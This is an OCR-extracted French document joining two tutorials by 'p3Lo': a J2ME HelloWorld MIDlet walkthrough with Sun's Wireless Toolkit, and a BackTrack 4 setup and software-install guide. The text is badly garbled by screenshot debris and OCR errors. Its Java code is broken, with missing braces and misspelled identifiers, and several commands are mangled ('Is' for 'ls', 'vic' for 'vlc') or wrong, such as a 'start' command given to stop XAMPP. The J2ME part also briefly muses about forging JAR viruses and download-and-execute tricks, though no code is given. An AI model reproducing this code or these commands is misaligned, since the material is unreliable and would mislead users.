E Hew @‘ = bj Settings ... Build 4 Run <§5 Clear Console
Clean
. 4 Bun
Deavicea: IE @ -
Package ]
Sign
Run via OTA
Debug
Stub Generator ...
i18n Resources Manager...
E&ettings
Et faites en sorte de configurer tel quel puis ok.
API Selection
Required
JTWI
]
v Profiles Configurations
Optional Aol 2 © CLDC 1.0
A_ ® CLDC 1.1
A
User Defined Required
Wireless Messaging APl 1.1 {JSR 120}
g Optional
MiDlets Mobile Media API {JSR 135}
&
. ~Additional APIs
Push Registry
) [ ] wireless Messaging API 2.0 {JSR 205} [l web Services API {JSR 172}
& []JAXP XML Parser {JSR 172) [ ] PDA Profile for J2ME {JSR 75}
External APIs Bluetooth/OBEX for |2ME {JSR 82} [ 1 Mobile 3D Graphics for J2ME {JSR 184}
[ ] Location API for J2ME {JSR 179} [ SATSA-APDU {JSR 177}
B [] SATSA-JCRMI {JSR 177} [ ] SATSA-PKI {JSR 177)
Permissions [] SATSA-CRYPTO {JSR 177} ] Content Handler API {JSR 211}
[] Mobile Internationalization API ISR 238) [ Payment API {|SR 229}
[]s1P API {JSR 120} [ ] Advanced Multimedia Supplements {JSR 234}
Content Handlers . L
. [ scalable 2D Vector Graphics API {JSR 226} []Java Binding for OpenGL ES {JSR 239}
R
Payment

oK || Cancel
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Votre Premier HelloWorld JAVA
// contient les éléments de base

import javax.microedition.midlet.*;
// contient les éléments permettant de gérer l'interface
import javax.microedition.lcdui.*;

public class HelloWorld extends MIDlet implements CommandListener
{

private Display _display;

private TextField _textFieldl;

private Command _commandExit;

private Form _form1;

public HelloWorld()

// fait un lien avec l'affichage
_display = Display.getDisplay(this);

// creation d'un objet formulaire sur lequel on peut placer des composants
_form1l = new Form("Test de HelloWorld");

// creation d'un bouton pour sortir du programme
_commandExit = new Command("Exit", Command.SCREEN,1);

// creation d'un champ de texte contenant notre Hello World
_textFieldl = new TextField("","Hello World !",15,TextField.ANY);

// ajout des composants au formulaire
_forml.addCommand(_commandExit);
_forml.append(_textFieldl);
_form1l.setCommandListener(this);

}

// événement exécuté au démarrage de I'application
public void startApp()

// affichage du formulaire
_display.setCurrent(_form1);

/I événement exécuté lors de la mise en pause de I'application
public void pauseApp()

{

}

// événement exécuté lorsque I'application se termine
public void destroyApp(boolean unconditional)

{

}

public void commandAction(Command c, Displayable s)

// lors du clic sur le bouton Exit

if (c == _commandEXxit)

{
// appel manuel a la fonction de fermeture
destroyApp(false);
// on demande au manager de fermer l'application
notifyDestroyed();

}

}
}

Une fois le script écrit dans un éditeur de texte enregistrez le au format ASCII , et/ou simplement supprimez les commentaires.




Ensuite crééz le paquet de données. Project -> Package — Create Package

Vous pouvez copier les fichier jar et jad sur votre telephone, le répertoire indiqué dans le log donne leur endroit sur le disque.

Q [CEFRDE % HQ frootfj2mewtk/2.5.2/apps/HelloWorld/src/ M ij t utfg

@ Desktop

12 Home Folder

- Storage Media

Q Download
¢ Music

¢ Pictures
ﬁvidens

K

+*

Filter:

+*
+

Location: l_-[HE"DWDrld.jEWEI

|||3J ‘ Save '

HAM Files

|"ij L Cancel J

Run

<55 Clear Console

File Edit | Project| Help
E‘ New @Sﬁu'ld E Settings ... Build 4
Clean
. ¥ R

gewce:E @_un
Package } Create Package

Creating prd sign Create Obfuscated Package

Place_la‘."a =1 R ia OTA ST T T O Ty 5T

Flace applic L0 THE 2.5.2/apps/Helloworldires"

Flace applic Debug 5. 2fappsiHellaWwarldlib”

Settings up
Froject sett

Stub Generator...

il8n Resources Manager...

& Settings ...

File Edit Project Help

E‘ HNew Project ...

E[E." Open Project ...

E Settings ...

Build

Run

'{;5 Clear Console

Device: |DefauItCqurPhune

Build complete

Froject settings saved

Building "Hellovwarld"
rote froot/2mewthk/2. 5. 2fapps/Helloworld/bin/Helloworld.jar
rote froot/2mewtks2.5. 2fapps/Helloworld/bin/Helloworld.jad
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Ensuite testez votre premier applet sur votre telephone, ensuite vous pouvez regarder les projets de démonstration inclus dans
Wireless toolkit pour inspirer vos prochains programmes.

Fall AEC &= B
Test de Helloworld

[p3Lo was here | |

Exit

6. Conclusion

La mobilette est une application Java a la norme MIDP congue pour les téléphones mobiles et les PDA. Les mobilettes
bouleversent le monde des téléphones portables, car elles transforment les téléphones en véritables petits ordinateurs
supportant notamment le multi-thread, le stockage de données en mémoire flash et lI'accés a Internet. Mais en plus une
mobilette bien écrite fonctionne sur n'importe quel téléphone compatible Java, quelle que soit sa marque. En fait, les résultats
du benchmark effectué permettent de configuré avec succés la compilation avec le logiciel wireless toolkit (free for all system).
J'ai constaté que ce qui compte lorsque vous faites un applet java ,c'est de bien configurer les propriétés du projet afin que
justement sa soit compatible avec le telephone et ainsi adapter la source a vos desirs. Donc bien vérifié les fonctionnalités JSR
en faisant des benchmark , c'est important !

Pour faire des benchmark java de votre telephone il y a I'application java JoenchmarkHD,vous aurez a peu prés les meme.
résultat que sur club-java.

Il est sans doute possible d'usurper le type mime des fichiers jad ou son contenu, de forger ses virus jar, de fabriquer un dl and
execute ou d'atteindre nimporte quel autre ressource du telephone comme le bluetooth, le gprs , l'irda, le réseau OBEX, le wap ,
de baser le telechargement de I'applet en fonction de I'UA. Mais cet article a plutot pour but d'introduire a la programmation
d'application java.
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Liens Annexes

. Liste des telephones compatibles JAVA MIDP
http://www.club-java.com/TastePhone/]2ME/MIDP_mobile.jsp

. Liste XML des wap User agents

http://xmlvalidator.openmobilealliance.org/cgi/search.cqi

. Caracteristique software J2ME du SGH-U600
http://www.club-java.com/TastePhone/|]2ME/MIDP_Java_telephone.jsp?|=fr&m=808&brand=Samsung&model=SGH-U600

. Definition de J2ME
http://fr.wikipedia.org/wiki/Java_2_Micro_Edition

. Tutoriel J2ME

http://defaut.developpez.com/tutoriel/java/i2me/

. Definition sur le GPRS
http://dvdgsm.free.fr/gprs.html

. JADMaker pour créé ses fichiers .jad
http://www.archive.org/download/tucows 347348 JADMaker/JADMaker.zip

. Wireless toolkit de Sun pour créé ses programmes.

http://java.sun.com/products/sjwtoolkit/download.htm

. Backtrack 4 Le systéeme d'exploitation utilisé dans ce tutoriel.

http://www.backtrack-linux.org/downloads

TR


http://java.sun.com/products/sjwtoolkit/download.html
http://java.sun.com/products/sjwtoolkit/download.htm
http://www.archive.org/download/tucows_347348_JADMaker/JADMaker.zip
http://dvdgsm.free.fr/gprs.html
http://defaut.developpez.com/tutoriel/java/j2me/
http://fr.wikipedia.org/wiki/Java_2_Micro_Edition
http://www.club-java.com/TastePhone/J2ME/MIDP_Java_telephone.jsp?l=fr&m=808&brand=Samsung&model=SGH-U600
http://xmlvalidator.openmobilealliance.org/cgi/search.cgi
http://www.club-java.com/TastePhone/J2ME/MIDP_mobile.jsp
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Backtrack defenestration for fun and freedom

tutoriel écrit par p3Lo

defenestration - Jargon File (4.4.4, 14 Aug 2003) :
“ n.The act of completely removing Micro$oft Windows from a PC in favor of a better OS (typically Linux).”

Ce tutoriel représente une unification de post-it déposé sur mon écran a un instant précis.

1.Quelques Commandes internes utiles :

1
2
3
4.
5.
6
7
8
9.
1

Utilisation de la commande mount sur BT4
Création d'un fichier ISO a partir du lecteur cdrom
Installation de BT4 sur clé usb

BT4 installation sur disque dur

Installation de la carte wifi

Changer les application au démarrage avant startx
Changer les appIication au démarrage aprés startx
Connaitre sa version de linux et ubuntu

Detecter sa carte son / carte graphique

0. Mise a jour de la liste des dépots

.IIII-IIIIIMIIIHIHIIII_III

BooNoaUuRsWNE

Installation d'applications sur BT4

Openoffice 3 installation
Eclipse installation

Google earth

Google chrome

Xampp installation
Recordmydesktop installation
VLC installation

VirtualBox installation

Amsn installation

Compiz Installation

}mw.n g

ul‘ll'i 'L.m'-\
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l. Commandes internes

1. Utilisation de la commande mount sur BT4
On liste I'arboressence avec la commande Is , I'option la sert a afficher les droits d'écriture.

root@bt:/mnt# Is -la

total 12

drwxr-xr-x 3 root root 4096 May 10 2009 .
drwxr-xr-x 21 root root 4096 Jan 31 03:16 ..
drwxr-xr-x 2 root root 4096 May 10 2009 usb

La commande qui permet de lister les partitions branchées sur le pc.
Reperez la partition du disque en fonction de la taille du lecteur.

root@bt:/mnt# fdisk -

Disk /dev/sda: 320.0 GB, 320072933376 bytes
255 heads, 63 sectors/track, 38913 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Disk identifier: 0x2272d736

Device Boot Start End Blocks Id System

/dev/sdal * 1 37874 304222873+ 83 Linux
/dev/sda2 37875 38913 8345767+ 5 Extended
/dev/sda5 37875 38913 8345736 82 Linux swap / Solaris
Disk /dev/sdf: 320.0 GB, 320072933376 bytes
255 heads, 63 sectors/track, 38913 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Disk identifier: 0x500db3e0

Device Boot Start End Blocks Id System

/dev/sdfl 1 38914 312568832 7 HPFS/NTFS

Crééez le dossier destiné a accueuillir la partition si celui ci n'a pas été auparavant créé.

root@bt:/mnt# mkdir /mnt/sdfl

Mountez la partition sélectionnée. L'option ntfs-3g sert a définir le format de fichier que la partition montée devra utuiliser pour
la lecture des fichiers.
Dans le cas ou la commande ne fonctionne toujours pas ajoutez I'option -o force

root@bt:/mnt# mount -t ntfs-3g /dev/sdfl /mnt/sdfl

Au cas ou sa retourne une erreur faire:

root@bt:/mnt# mount -t ntfs-3g /dev/sdfl /mnt/sdfl -o force

Naviguez sur la partition grace au navigateur konqueror

root@bt:/mnt# konqueror /mnt/sdfl

/"\ Avant de débrancher la clé usb effectuez la commande umount pour démonter les partitions sélectionnées.
root@bt:/mnt# umount /mnt/sdfl

Dans le cas ou vous n'avez pas fait la commande umount avant de retiré le lecteur usb supprimez le dossier de la partition
correspondante qui est situé dans le dossier /mnt/
(supprimer en sélectionnant le dossier et en appuyant sur shift et suppr enfoncé).

2 . Création d'un fichier ISO a partir du lecteur cdrom

- Executez konqueror

- Aller dans la section "storage media"

- Double cliquez sur le media qui ressemble a un cd /dvd
- Dans la console entrez :

dd if=/dev/scd0 of=cd.iso # if cdrom is scsi

le fichier cd.iso s'est collé dans le répertoire /root/

b
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3. Installation de BT4 sur clé USB

La clé usb se trouve dans /dev/sdg .

On démonte le volume /mnt/sdgl pour supprimer toute les partitions existantes.
On commence par lister les partitions.

root@bt:~# fdisk -I

root@bt:~# umount /mnt/sdgl

root@bt:~# gparted

Une fois gparted executer , dans le menu "gparted ---->devices " sélectionnez votre clé usb puis supprimez toutes les partitions
existantes et cliquez sur "apply" pour appliquer les modifications effectuées.

On recréé les partitions avec l'aide de la commande fdisk.

Remarque : lors du choix de I'attribution de la taille de la seconde partition a I'endroit la "Last cylinder, +cylinders or
+size{K,M,G} (1-1022, default 1022):", vous pouvez appuyez sur la touche "entrer" pour attribuer I'espace de stockage restant
de votre clé USB.

root@bt:~# fdisk /dev/sdg

Command (m for help): n

Command action

e extended

p primary partition (1-4)

p

Partition number (1-4): 1

First cylinder (1-1022, default 1):

Using default value 1

Last cylinder, +cylinders or +size{K,M,G} (1-1022, default 1022): +1500M

Command (m for help): n
Command action

e extended

p primary partition (1-4)

p

Partition number (1-4): 2

First cylinder (206-1022, default 206):

Using default value 206

Last cylinder, +cylinders or +size{K,M,G} (206-1022, default 1022):
Using default value 1022

Command (m for help): a
Partition number (1-4): 1

Command (m for help): t

Partition number (1-4): 1

Hex code (type L to list codes): b

Changed system type of partition 1 to b (W95 FAT32)

Command (m for help): p

Disk /dev/sdg: 7885 MB, 7885291520 bytes

243 heads, 62 sectors/track, 1022 cylinders

Units = cylinders of 15066 * 512 = 7713792 bytes
Disk identifier: Ox1f18fade

Device Boot Start End Blocks Id System
/dev/sdgl * 1 205 1544234 b W95 FAT32
/dev/sdg2 206 1022 6154461 83 Linux

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.
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WARNING: If you have created or modified any DOS 6.x
partitions, please see the fdisk manual page for additional
information.

Syncing disks.

Une fois les partitions créées on doit leur attribuer un format de fichier.

On configure le premier volume au format FAT32
root@bt:~# mkfs.vfat -F 32 -n BT4 /dev/sdgl
mkfs.vfat 2.11 (12 Mar 2005)

On configure le second volume au format ext3 (linux)
root@bt:~# mkfs.ext3 -b 4096 -L casper-rw /dev/sdg2
mkeZ2fs 1.41.3 (12-Oct-2008)

Filesystem label=casper-rw

OS type: Linux

Block size=4096 (log=2)

Fragment size=4096 (log=2)

385024 inodes, 1538615 blocks

76930 blocks (5.00%) reserved for the super user
First data block=0

Maximum filesystem blocks=1577058304

47 block groups

32768 blocks per group, 32768 fragments per group
8192 inodes per group

Superblock backups stored on blocks:

32768, 98304, 163840, 229376, 294912, 819200, 884736

Writing inode tables: done

Creating journal (32768 blocks):

done

Writing superblocks and filesystem accounting information:
done

This filesystem will be automatically checked every 24 mounts or
180 days, whichever comes first. Use tune2fs -c or -i to override.

Dans le cas ou bt4-final.iso se situe dans le dossier root on monte I'image iso pour copier par la suite son contenu sur la clé USB.
root@bt:~# mkdir /mnt/iso

root@bt:~# mount -o loop -t is09660 bt4-final.iso /mnt/iso

root@bt:~# mount /dev/sdgl /mnt/sdgl

Oncopie le systeme en conservant le type d'arboressence.
root@bt:~# rsync -avh /mnt/iso/ /mnt/sdgl/
sending incremental file list

./

boot.catalog

md5sum.txt

boot/

boot/bootsplash

boot/initrd.gz

boot/initrd800.9z

boot/initrdfr.gz
boot/memtest86+.bin
boot/vmlinuz

boot/grub/

boot/grub/btd.xpm.gz
boot/grub/menu.lst
boot/grub/stageZ2_eltorito

casper/

casper/filesystem.manifest
casper/filesystem.manifest-desktop
casper/filesystem.squashfs

sent 1.57G bytes received 293 bytes 5.78M bytes/sec
total size is 1.57G speedup is 1.00
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On installe GRUB pour pouvoir booter le MBR sur la clé usb.

root@bt:~# grub-install --no-floppy --root-directory=/mnt/sdgl /dev/sdg

Probing devices to guess BIOS drives. This may take a long time.

Due to a bug in xfs_freeze, the following command might produce a segmentation
fault when /mnt/sdgl/boot/grub is not in an XFS filesystem. This error is harmless and
can be ignored.

xfs_freeze: specified file ["/mnt/sdgl/boot/grub"] is not on an XFS filesystem
Installing GRUB to /dev/sdg as (hd2)...

Installation finished. No error reported.

This is the contents of the device map /mnt/sdgl/boot/grub/device.map.

Check if this is correct or not. If any of the lines is incorrect,

fix it and re-run the script "grub-install'.

(hd0) /dev/sdx
(hd1) /dev/sdz
(hd2) /dev/sdg

On remplace la ligne destiné au kernel du menu.lst de grub pour rajouter nos parametres graphiques personnalisés sur la
séquence de boot sélectionée:

root@bt:~# nano /mnt/sdgl/boot/grub/menu.lst

Contenu a modifier pcorrespon dant a la résolution graphique lors du chargement du serveur X destiné a l'interface graphique :
title Start Persistent Live CD

$ quiet vga=0x317

initrd /boot/initrd.gz

On démonte le volume.
root@bt:~# umount /mnt/sdgl

Votre clé usb est prete a étre bootée , enjoy .

4, BT4 installation sur disque dur

Une fois la clé usb bootable créé vous pouvez simplement installez backtrack sur une partition vide, faites en sorte d'avoir 1
seule ou aucune partition par disque dur(4 partitions primaire autorisées) et I'espace non partitionné correspondra a la taille de
votre systeme d'exploitation linux.

root@bt:~# gparted
root@bt:~# ./install.sh

Puis suivez la procedure d'installation classique.

5. Installation de la carte wifi

root@bt:~# Ispci
Pour voir les composant et effectuer un scan de ceux-ci grace a la commande Ispci.

root@bt:~# /etc/init.d/networking start
Démarrage de la configuration automatique de la carte réseau

root@bt:~# iwconfig
Voir si son interface wifi est reconnue

root@bt:~# wicd

Chargement du manager de réseau

Ensuite se connecté a internet grace a wicd.

Dans le menu backtrack-->internet --> Wicd network manager

Il I LLLLL
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Ajouter"startx &" et "wicd & " sans guillemets au fichier .profile pour executer les programme au démarrage du syseme

6. Changer les application au démarrage avant startx

root@bt:~# nano .profile
# ~/.profile: executed by Bourne-compatible login shells.

if [ "$BASH" ]; then
if [ -f ~/.bashrc ]; then
. ~/.bashrc
fi
fi

mesg n
# Installed by Debian Installer:

# no localization for root because C

# cannot be properly displayed at the Linux console
LANG=C

LANGUAGE=C

wicd && startx

(touches ctrl et o pour sauvegarder puis ctrl et x pour quitter)
Dans batcktrack --> system --> settings --> KDEcomponents --> session manager

Selectionnez dans le panneau on login...
- restore manually saved session

Dans le panneau default shutdown option
-turn off computer

7. Changer les application au démarrage aprés startx
Maintenant localisez le dossier startup dans batcktrack --> system --> settings --> system administration --> paths
root@bt:~# konqueror /root/.kde3/Autostart/

Ensuite clic droit , create new --> Link to application
Dans l'onglet application sur le champ command vous pouvez entrez le lien de I'application executable, sur compiz sa donnera :

compiz -replace

8. Connaitre sa version de linux et celle d'ubuntu

root@bt:~# cat /proc/version
Linux version 2.6.30.9 (root@dev) (gcc version 4.3.2 (Ubuntu 4.3.2-1ubuntul2) ) #1 SMP Tue Dec 1 21:51:08 EST 2009

root@bt:~# Isb_release -c
Codename: intrepid

Ou bien :

root@bt:~# cat /etc/Isb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=8.10
DISTRIB_CODENAME=intrepid
DISTRIB_DESCRIPTION="Ubuntu 8.10"

9. Détecter sa carte son

root@bt:~# Ispci | grep -i audio
00:1b.0 Audio device: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) High Definition Audio Controller (rev 03)

Trouver ses codec sonores installés.

root@bt:~# cat /proc/asound/card0/codec\#* | grep Codec
Codec: Realtek ALC880

Codec: Motorola Si3054

U gl
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10. Connaitre sa carte graphique

Savoir si I'acceleration matérielle est activée .
root@bt:~# Ispci | grep vga

root@bt:~# glxinfo | grep rendering

direct rendering: Yes

Visitez ces sites pour plus d'information sur l'installation des cartes graphiques.
http://doc.ubuntu-fr.org/radeon
http://doc.ubuntu-fr.org/nvidia

11. Mise a jour de la liste des dépots

Changer la source des depots apt
root@bt:~# nano /etc/apt/sources.list

#les 3 premiers depots sont les depots officiels ubuntu

deb http://fr.archive.ubuntu.com/ubuntu/ intrepid main restricted universe

deb http://security.ubuntu.com/ubuntu intrepid-security main restricted universe

deb http://fr.archive.ubuntu.com/ubuntu/ intrepid-updates main restricted universe
#depot debian

deb http://ftp.debian.org etch main

#depots par défaut

deb http://archive.offensive-security.com pwnsauce main microverse macroverse restrict
# deb http://archive.offensive-security.com/repotest/ ./ # BackTrack Devel Repo

Il. Installation d'applications sur BT4

1. Openoffice 3 installation

Création du dossier temporaire pour le téléchargement des sources.
root@bt:~# mkdir openoffice && cd openoffice

Telechargement des sources grace a wget
root@bt:/openoffice# wget http: ffi

Extraction des sources grace a la commande tar.

root@bt:/openoffice# tar xvf OOo_3.1.1_LinuxIntel_install_fr_deb.tar.gz
000310 m19 native_packed-1_en-US.9420/

000310 m19 native packed-1_en-US.9420/update

000310 m19 native _packed-1_en-US.9420/readmes/

etc..

On liste les fichiers et dossiers telechargés.
root@bt:/openoffice# Is

000310 _m19 native_packed-1_fr.9420
OOo_3.1.1_Linuxintel_install_en-US_deb.tar.gz

On va dans le dossier fraichement extrait.
root@bt:/openoffice# cd 000310_m19 native_packed-1_fr.9420/
root@bt:/openoffice/O00310 m19 native packed-1 fr.9420/# cd DEBS/

Décompilation des paquets .deb a I'aide de la commande dpkg -i . La commande * sert a définir une expression réguliere.
root@bt:/openoffice/O00310_m19_native_packed-1_fr.9420/DEBS# sudo dpkg -i *.deb

Selecting previously deselected package ooobasis3.1-base.

(Reading database ... 226772 files and directories currently installed.)
Unpacking ooobasis3.1-base (from ooobasis3.1-base 3.1.1-19 i386.deb) ...
Selecting previously deselected package ooobasis3.1-binfilter.

Unpacking ooobasis3.1-binfilter (from ooobasis3.1-binfilter 3.1.1-19 i386.deb) ...
Selecting previously deselected package ooobasis3.1-calc.

Unpacking ooobasis3.1-calc (from ooobasis3.1-calc_3.1.1-19 i386.deb) ...

g i s
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Selecting previously deselected package ooobasis3.1-core(01.

Unpacking ooobasis3.1-core01 (from ooobasis3.1-core01_3.1.1-19 i386.deb) ...
Selecting previously deselected package ooobasis3.1-core02.

Unpacking ooobasis3.1-core02 (from ooobasis3.1-core02_3.1.1-19 i386.deb) ...
Selecting previously deselected package ooobasis3.1-core03.

Unpacking ooobasis3.1-core03 (from ooobasis3.1-core03_3.1.1-19 j386.deb) ...
Selecting previously deselected package ooobasis3.1-core04.

Unpacking ooobasis3.1-core04 (from ooobasis3.1-core04_3.1.1-19 i386.deb) ...
Processing triggers for menu ...

Meme situation pour le dossier extrait.
root@bt:/openoffice/O0O0310_m19 native _packed-1_fr.9420/DEBS# cd desktop-integration/
root@bt:/openoffice/O0O0310_m19_native_packed-1_fr.9420/DEBS/desktop-integration# sudo dpkg -i *.deb

Selecting previously deselected package openoffice.org-debian-menus.

(Reading database ... 231370 files and directories currently installed.)

Unpacking openoffice.org-debian-menus (from openoffice.org3.1-debian-menus_3.1-9420 all.deb) ...
Setting up openoffice.org-debian-menus (3.1-9420) ...

/usr/bin/gtk-update-icon-cache

gtk-update-icon-cache: Cache file created successfully.

Processing triggers for menu ...

Openoffice est pret a I'emploi.
root@bt:/openoffice/O00310_m19_native_packed-1_fr.9420/DEBS/desktop-integration# soffice

source :http://fr.openoffice.org/about-downloads-contrib.html?product=0penOffice.org&os=linuxinteldeb&lang=fr&version=3.1.1

2. Eclipse installation

Source : http://www.eclipse.org/downloads/

root@bt:# wget http://www.eclipse.org/downloads/download.php?file=/eclipse/downloads/drops/R-3.5.1-200909170800/eclipse-
SDK-3.5.1-linux-gtk.tar.gz

Extraire I'archive téléchargée dans le dossier correspondant aux applications (opt)
root@bt:# tar xvfz eclipse-php-galileo-SR1-linux-gtk.t.gz -C /opt
root@bt:# /opt/eclipse/eclipse start

3. Google earth installation

Telechargez executez ..

root@bt:~# wget http://dl.google.com/earth/client/current/GoogleEarthLinux.bin

Configurez les droits d'écriture de I'executable , execution de l'installateur et suppression

root@bt:~# sudo chmod +x GoogleEarthLinux.bin && sh ./GoogleEarthLinux.bin && rm GoogleEarthLinux.bin
Verifying archive integrity... All good.

Uncompressing Google Earth for GNU/LINUX 5.1.3533.1731..c.....ccceivimmiiiseiiiiiiiiesaeeeeinineseeeaeenaaeeannn

loki_setup: Suspect size value for option option

loki_setup: Suspect size value for option option

loki_setup: Suspect size value for option option

Installing mimetypes...

Bonus : charger un fichier kml externe
root@bt:~# googleearth http://foo.tld/bot.kml

source: http://earth.google.com/intl/fr/download-earth.html

4, Google Chromium navigateur installation

root@bt:~# wget http://dl.google.com/dl/linux/direct/google-chrome-beta_current i386.deb
root@bt:~# dpkg -i google-chrome-beta_current i386.deb

U gl
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5. Xampp linux installation
Telechargez , décompressez et executez

Telechargez :
root@bt:~# wget http:

Extraire dans le dossier /opt

root@bt:~# tar xvfz xampp-linux-1.7.3a.tar.gz -C /opt
(...)

lampp/share/terminfo/P/P12-W
lampp/share/terminfo/P/P14

lampp/RELEASENOTES

Démarrer le serveur http

root@bt:~# /opt/lampp/lampp start

Starting XAMPP for Linux 1.7.3a...

XAMPP: Starting Apache with SSL (and PHP5)...
XAMPP: Starting MySQL...

XAMPP: Starting ProFTPD...

XAMPP for Linux started.

executez sur firefox
root@bt:~# firefox http://localhost

Eteindre le serveur xampp
root@bt:~# /opt/lampp/lampp start

Source: http://www.apachefriends.org/en/xampp-linux.html#377

6. Installation de recordmydesktop

On installe.

root@bt:/# apt-get install recordmydesktop

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following NEW packages will be installed:

recordmydesktop

0 upgraded, 1 newly installed, 0 to remove and 6 not upgraded.

Need to get 53.5kB of archives.

After this operation, 156kB of additional disk space will be used.

Get:1 http.//archive.offensive-security.com pwnsauce/universe recordmydesktop 0.3.7.3-1 [53.5kB]
Fetched 53.5kB in Os (56.7kB/s)

Selecting previously deselected package recordmydesktop.

(Reading database ... 231694 files and directories currently installed.)
Unpacking recordmydesktop (from .../recordmydesktop_0.3.7.3-1_i386.deb) ...
Processing triggers for man-db ...

Setting up recordmydesktop (0.3.7.3-1) ...

On teste.

root@bt:/# recordmydesktop

Initial recording window is set to:

X:0 Y:0 Width:1280 Height:800

Adjusted recording window is set to:

X:0 Y:0 Width:1280 Height:800

Your window manager appears to be KWin

Initializing...

Buffer size adjusted to 4096 from 4096 frames.
Opened PCM device hw:0,0

Playback frequency 22050Hz is not available...
Using 44100Hz instead.

Recording on device hw:0,0 is set to:

2 channels at 44100Hz

Capturing !
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Broken pipe: Overrun occurred.
Broken pipe: Overrun occurred.
Broken pipe: Overrun occurred.
Shutting down.

Cached 4 MB, from 113 MB that were received.
Average cache compression ratio: 3 %

Saved 29 frames in a total of 36 requests

STATE:ENCODING

Encoding started!

This may take several minutes.

Pressing Ctrl-C will cancel the procedure (resuming will not be possible, but
any portion of the video, which is already encoded won't be deleted).
Please wait...

[141%]

Encoding finished!

Wait a moment please...

Done.
Written 789977 bytes
(701621 of which were video data and 88356 audio data)

Cleanning up cache...
Done!!!
Goodbye!

[touches ctrl et ¢ pour quitter]

7. VLC installation

Mise a jour de la liste des dépots debian.

root@bt:~# sudo apt-get update

Get:1 http://archive.offensive-security.com pwnsauce Release.gpg [489B]

Get:2 http://archive.offensive-security.com pwnsauce Release [9106B]

Get:3 http://archive.offensive-security.com pwnsauce/main Packages [1532kB]
Get:4 http://archive.offensive-security.com pwnsauce/microverse Packages [74.8kB]
Get:5 http://archive.offensive-security.com pwnsauce/macroverse Packages [14.6kB]
Get:6 http://archive.offensive-security.com pwnsauce/restricted Packages [11.9kB]
Get:7 http://archive.offensive-security.com pwnsauce/universe Packages [4562kB]
Get:8 http://archive.offensive-security.com pwnsauce/multiverse Packages [204kB]
Fetched 6409kB in 2min2s (52.2kB/s)

Reading package lists... Done

root@bt:~# sudo apt-get install vic vic-plugin-pulse mozilla-plugin-vic
Ou bien:
root@bt:~# sudo apt-get install vic

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following extra packages will be installed:

liba52-0.7.4 libaal libass1 libavcodec51 libavformat52 libavutil49 libcacaO
libcdio7 libcuculO libdca0 libdirectfb-1.0-0 libdvbpsi4 libdvdnav4
libdvdread3 libebml0 libenca0 libfaad0 libid3tag0 libiso9660-5
liblircclientO libmad0 libmatroskaO libmodplug0c2 libmpcdec3 liboil0.3
libpostproc51 libschroedinger-1.0-0 libsdl-imagel.2 libsdl1.2debian
libsdl1.2debian-alsa libshout3 libswscaleO libtar libts-0.0-0 libtwolame0
libvcdinfoO libvic2 libviccore0 libx264-59 vic-data vic-nox

Suggested packages:

(..)

Setting up libdca0 (0.0.5-0.1) ...

Setting up vic-nox (0.9.4-1ubuntu3.1) ...
Setting up libass1 (0.9.5-0ubuntu?2) ...
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Setting up vic (0.9.4-1ubuntu3.1) ...

Setting up mozilla-plugin-vic (0.9.4-1ubuntu3.1) ...
Setting up vic-plugin-pulse (0.9.4-1ubuntu3.1) ...
Processing triggers for libcé ...

Idconfig deferred processing now taking place
Processing triggers for menu ...

Ajout d'un nouvel utilisateur destiné a executer vic
root@bt:~# sudo adduser vicuser

Adding user “vicuser’ ...

Adding new group ‘vicuser' (1000) ...

Adding new user “vicuser' (1000) with group ‘vicuser' ...
Creating home directory “/home/vicuser’ ...
Copying files from “/etc/skel ...

Enter new UNIX password:

Retype new UNIX password:

No password supplied

Enter new UNIX password:

Retype new UNIX password:

No password supplied

Enter new UNIX password:

Retype new UNIX password:

No password supplied

passwd: password updated successfully

Changing the user information for goret

Enter the new value, or press ENTER for the default
Full Name []:

Room Number []:

Work Phone []:

Home Phone []:

Other []:

Is the information correct? [Y/n] Y

root@bt:~# su vicuser

Ensuite une fois l'utilisateur créé , allez dans le menu --> multimedia --> vlc (clic droit) --> "edit item"

Dans la fenetre qui vient de s'ouvrir saisissez le nom de |'utilisateur dans la case "run as different user" puis cliquez sur la
disquette pour enregistrer les modifications.

Vlc est prét a I'emploi enjoy ;)

8. VirtualBox installation

Telechargement et execution :

bt ~ # wget http://download.virtualbox.org/virtualbox/3.1.2/VirtualBox-3.1.2-56127-Linux_x86.run

Renommez le fichier telechargé en VirtualBox-3.1.2-56127-Linux_x86.run
On le lance :
bt ~ # ./VirtualBox-3.1.2-56127-Linux_x86.run

Configurations post-installation
Lancement des modules de VirtualBox

bt ~ # /etc/init.d/vboxdrv start
bt ~ # /etc/init.d/vboxnet start

Pour lancer automatiquement les modules au démarrage il faut éditer le fichier /etc/rc.d/rc.local et y ajouter les entrées suivantes

g i s
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bt ~ # modprobe tun

#Demarrage des services VirtualBox
/etc/init.d/vboxdrv start
/etc/init.d/vboxnet start

Lancement du module "Plein écran".
Pour pouvoir afficher Backtrack en pleine écran, entrer ceci dans le shell :
bt ~ # /usr/bin/VBoxClient

Mise en place d une interface reseau virtuelle pour VirtualBox
Il faut éditer le fichier /etc/rc.d/rc.local et y ajouter les entrées suivantes :
bt ~ # modprobe tun

#Demarrage des services VirtualBox:
/etc/init.d/vboxdrv start
/etc/init.d/vboxnet start

#Creation de | interface reseau virtuelle:
bt ~ # apt-get install uml-utilities

bt ~ # tunctl -t vbox0 -u root

bt ~ # chmod 666 /dev/net/tun

#Creation d un pont reseau entre la carte reseau et la carte virtuelle:
brctl addbr br0

brctl addif brO eth0

brctl addif brO vbox0

#Mise en place de | adressage IP:

ifconfig vbox0 0.0.0.0 promisc up

ifconfig eth0 0.0.0.0 promisc up

ifconfig br0 192.168.0.1 netmask 255.255.255.0 broadcast 192.168.0.255
route add -net 0.0.0.0 netmask 0.0.0.0 gw 192.168.0.250 dev br0

echo 'nameserver 192.168.0.250'>/etc/resolv.conf

Dossier de partage
Créé un dossier partagé a I'aide du menu "Périphérique" de VirtualBox.

Ensuite créé le dossier de partage dans Backtrack :
bt ~ # mkdir /mnt/partage

Et le monter:
bt ~ # mount -t vboxsf <nom_de_partage_sous_windows> /mnt/partage

source: http://wiki.backtrack-fr.net/index.php/VirtualBox

9. Amsn installation

Telechargement et décompression.
